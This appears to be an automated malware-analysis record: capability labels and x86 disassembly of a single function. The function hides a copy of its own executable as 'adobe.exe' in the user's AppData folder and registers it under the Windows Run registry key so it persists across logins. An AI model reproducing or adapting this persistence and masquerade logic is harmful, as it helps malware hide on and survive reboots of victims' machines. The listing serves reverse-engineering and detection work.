Function at 0x401610
Capabilities:
Check if file exists
Copy file
Create directory
Create thread
Get common file path
Get file attributes
Persist via run registry key
Set file attributes
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe40
mov eax, dword [0x436004]
xor eax, ebp
mov dword [ebp - 4], eax
call fcn.00401110
cmp dword [0x43b810], 0
je 0x401646
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040b3b6
mov esp, ebp
pop ebp
ret 0x10
push ebx
push esi
push edi
push 0x1ac
lea eax, [ebp - 0x5c0]
mov ecx, 0x17
mov esi, str.SoftwareMicrosoftWindowsCurrentVersionRun
lea edi, [ebp - 0x61c]
push 0
rep movsd dword es:[edi], dword [esi]
push eax
call fcn.0040ce60
push 0x800
lea eax, [ebp - 0xe1c]
push 0
push eax
call fcn.0040ce60
add esp, 0x18
lea eax, [ebp - 0xe1c]
push 0x400
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov eax, dword [0x42280c]
movq xmm0, qword [str.adobe]
push 0x1fc
mov dword [ebp - 0x40c], eax
lea eax, [ebp - 0x408]
push 0
push eax
movq qword [ebp - 0x414], xmm0
call fcn.0040ce60
add esp, 0xc
push 0x43b8e0
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push 0x422818
push 0x43b8e0
lea eax, [ebp - 0x20c]
push str._s_s
push eax
call fcn.004012c0
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x401710
test al, 0x10
jne 0x40171f
push 0
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 2
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push eax
push str._s_s.exe
push eax
call fcn.004012c0
add esp, 0x10
lea eax, [ebp - 0x20c]
push 0
push eax
lea eax, [ebp - 0xe1c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
lea eax, [ebp - 0xe40]
push eax
push 0xf003f
push 0
lea eax, [ebp - 0x61c]
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, 2
jne 0x4017ad
push 0
lea eax, [ebp - 0xe40]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
lea eax, [ebp - 0x61c]
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov esi, dword [ebp - 0xe40]
lea ecx, [ebp - 0x20c]
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4017c0
sub ecx, edx
sar ecx, 1
lea eax, [ecx + ecx]
push eax
lea eax, [ebp - 0x20c]
push eax
push 1
push 0
lea eax, [ebp - 0x414]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0xe20]
push eax
push 0
push 0x422848
push 0x4015e0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ebx, dword [sym.imp.USER32.dll_GetMessageW]
lea eax, [ebp - 0xe3c]
push 0
push 0
push 0
push eax
call ebx
test eax, eax
je 0x40185a
mov esi, dword [sym.imp.USER32.dll_TranslateMessage]
mov edi, dword [sym.imp.USER32.dll_DispatchMessageW]
lea eax, [ebp - 0xe3c]
push eax
call esi
lea eax, [ebp - 0xe3c]
push eax
call edi
push 0
push 0
push 0
lea eax, [ebp - 0xe3c]
push eax
call ebx
test eax, eax
jne 0x401835
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0xe34]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.0040b3b6
mov esp, ebp
pop ebp
ret 0x10